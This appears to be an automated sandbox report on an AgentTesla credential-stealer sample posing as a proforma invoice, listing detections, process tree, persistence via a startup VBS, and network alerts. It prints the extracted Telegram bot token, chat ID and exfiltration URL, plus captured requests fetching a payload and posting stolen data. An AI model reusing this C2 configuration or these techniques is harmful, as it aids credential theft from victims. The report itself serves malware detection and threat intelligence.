Edit tour

Windows Analysis Report
Proforma Invoice.scr.exe

Overview

General Information

Sample name:	Proforma Invoice.scr.exe
Analysis ID:	1545982
MD5:	3efcf6123cc2697d54be8e8d17f70eb6
SHA1:	194d4304e6fbea7bcc5203d9f5dd7c0883277fb1
SHA256:	a05acadb64d5923e931a42aecca755b6a160b39f96ec1bff8611cd5116b4c926
Tags:	exeuser-lowmal3
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected Telegram RAT

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Drops VBS files to the startup folder

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Installs a global keyboard hook

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sample has a suspicious name (potential lure to open the executable)

Sigma detected: WScript or CScript Dropper

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Proforma Invoice.scr.exe (PID: 4000 cmdline: "C:\Users\user\Desktop\Proforma Invoice.scr.exe" MD5: 3EFCF6123CC2697D54BE8E8D17F70EB6)

InstallUtil.exe (PID: 3412 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

wscript.exe (PID: 2620 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

EncoderFallback.exe (PID: 6828 cmdline: "C:\Users\user\AppData\Roaming\EncoderFallback.exe" MD5: 3EFCF6123CC2697D54BE8E8D17F70EB6)

InstallUtil.exe (PID: 5868 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7245016847:AAHTGgEGytVrrQCnyNC6RGvqcnPdZoR0H5U/sendMessage"}

Threatname: Agenttesla

{"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot7245016847:AAHTGgEGytVrrQCnyNC6RGvqcnPdZoR0H5U/sendMessage?chat_id=7068829394"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.2755078286.00000000028F8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.2755078286.00000000028F8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000006.00000002.2771284089.0000000003DBF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2771284089.0000000003DBF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.2771284089.0000000003DBF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2454133386.0000000002618000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000006.00000002.2771284089.0000000003CDF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2771284089.0000000003CDF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.2771284089.0000000003CDF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.2755078286.00000000028C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2755078286.00000000028C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.2750748078.0000000000342000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2750748078.0000000000342000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.2750748078.0000000000342000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000007.00000002.3529968351.0000000002891000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.3529968351.0000000002891000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.2753904041.0000000002C37000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000007.00000002.3529968351.00000000028BC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2480782000.0000000006430000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000003.00000002.2755078286.00000000028EC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.3529968351.00000000028C8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.3529968351.00000000028C8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000006.00000002.2753904041.0000000002D72000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2753904041.0000000002D72000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.2753904041.0000000002D72000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Proforma Invoice.scr.exe PID: 4000	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Proforma Invoice.scr.exe PID: 4000	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Proforma Invoice.scr.exe PID: 4000	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Proforma Invoice.scr.exe PID: 4000	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Proforma Invoice.scr.exe PID: 4000	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: InstallUtil.exe PID: 3412	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 3412	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 3412	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: EncoderFallback.exe PID: 6828	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: EncoderFallback.exe PID: 6828	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: EncoderFallback.exe PID: 6828	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: EncoderFallback.exe PID: 6828	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: EncoderFallback.exe PID: 6828	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: InstallUtil.exe PID: 5868	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 5868	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 5868	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 46 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Proforma Invoice.scr.exe.6430000.13.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Proforma Invoice.scr.exe.36bf7a0.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Proforma Invoice.scr.exe.36bf7a0.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Proforma Invoice.scr.exe.36bf7a0.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Proforma Invoice.scr.exe.36bf7a0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3566a:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x356dc:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35766:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x357f8:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35862:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x358d4:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3596a:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x359fa:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Proforma Invoice.scr.exe.38513e0.7.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
6.2.EncoderFallback.exe.3cf5570.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.EncoderFallback.exe.3cf5570.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.2.EncoderFallback.exe.3cf5570.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
6.2.EncoderFallback.exe.3cf5570.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3386a:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x338dc:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33966:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x339f8:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33a62:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33ad4:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33b6a:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33bfa:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Proforma Invoice.scr.exe.3943e00.4.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Proforma Invoice.scr.exe.36bf7a0.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Proforma Invoice.scr.exe.36bf7a0.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Proforma Invoice.scr.exe.36bf7a0.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Proforma Invoice.scr.exe.36bf7a0.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3386a:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x338dc:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33966:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x339f8:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33a62:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33ad4:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33b6a:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33bfa:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
3.2.InstallUtil.exe.340000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.InstallUtil.exe.340000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
3.2.InstallUtil.exe.340000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
3.2.InstallUtil.exe.340000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3566a:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x356dc:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35766:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x357f8:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35862:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x358d4:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3596a:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x359fa:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
6.2.EncoderFallback.exe.3cf5570.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.EncoderFallback.exe.3cf5570.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.2.EncoderFallback.exe.3cf5570.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
6.2.EncoderFallback.exe.3cf5570.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3566a:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x356dc:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35766:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x357f8:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35862:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x358d4:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3596a:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x359fa:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Proforma Invoice.scr.exe.38513e0.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Click to see the 19 entries

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs" , ProcessId: 2620, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs" , ProcessId: 2620, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\Proforma Invoice.scr.exe, ProcessId: 4000, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T11:14:22.467203+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.6	49818	TCP
2024-10-31T11:14:51.363526+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.6	51758	TCP

ETPRO MALWARE Agent Tesla Telegram Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T11:14:34.440817+0100	2851779	1	Malware Command and Control Activity Detected	192.168.2.6	49879	149.154.167.220	443	TCP
2024-10-31T11:14:58.092083+0100	2851779	1	Malware Command and Control Activity Detected	192.168.2.6	51775	149.154.167.220	443	TCP

ETPRO MALWARE Agent Tesla Telegram Exfil M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T11:14:34.440817+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.6	49879	149.154.167.220	443	TCP
2024-10-31T11:14:36.494538+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.6	49890	149.154.167.220	443	TCP
2024-10-31T11:14:58.092083+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.6	51775	149.154.167.220	443	TCP
2024-10-31T11:14:59.486489+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.6	51776	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Proforma Invoice.scr.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe

Avira: detection malicious, Label: HEUR/AGEN.1308518

Found malware configuration

Source: 3.2.InstallUtil.exe.340000.0.unpack	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot7245016847:AAHTGgEGytVrrQCnyNC6RGvqcnPdZoR0H5U/sendMessage?chat_id=7068829394"}
Source: InstallUtil.exe.5868.7.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7245016847:AAHTGgEGytVrrQCnyNC6RGvqcnPdZoR0H5U/sendMessage"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe

ReversingLabs: Detection: 60%

Multi AV Scanner detection for submitted file

Source: Proforma Invoice.scr.exe

ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Proforma Invoice.scr.exe

Joe Sandbox ML: detected

Source: Proforma Invoice.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 173.237.185.182:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.237.185.182:443 -> 192.168.2.6:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:51774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:51775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:51776 version: TLS 1.2

Source: Proforma Invoice.scr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003578000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2454133386.0000000002911000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003633000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003C69000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003B98000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2753904041.0000000002CBD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Proforma Invoice.scr.exe, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003578000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2454133386.0000000002911000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003633000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003C69000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003B98000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2753904041.0000000002CBD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Proforma Invoice.scr.exe, 00000000.00000002.2480596735.0000000006360000.00000004.08000000.00040000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003A22000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Proforma Invoice.scr.exe, 00000000.00000002.2480596735.0000000006360000.00000004.08000000.00040000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003A22000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 4x nop then jmp 05D3A58Fh	6_2_05D3A61A
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 4x nop then jmp 05D3A58Fh	6_2_05D3A2C0
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 4x nop then jmp 05D3A58Fh	6_2_05D3A2B0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2851779 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil : 192.168.2.6:49879 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.6:49879 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.6:49890 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.6:51776 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2851779 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil : 192.168.2.6:51775 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.6:51775 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /wp-includes/Hjewct.vdf HTTP/1.1Host: geocs.mxConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7245016847:AAHTGgEGytVrrQCnyNC6RGvqcnPdZoR0H5U/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcf97349026ea0Host: api.telegram.orgContent-Length: 981Expect: 100-continueConnection: Keep-Alive
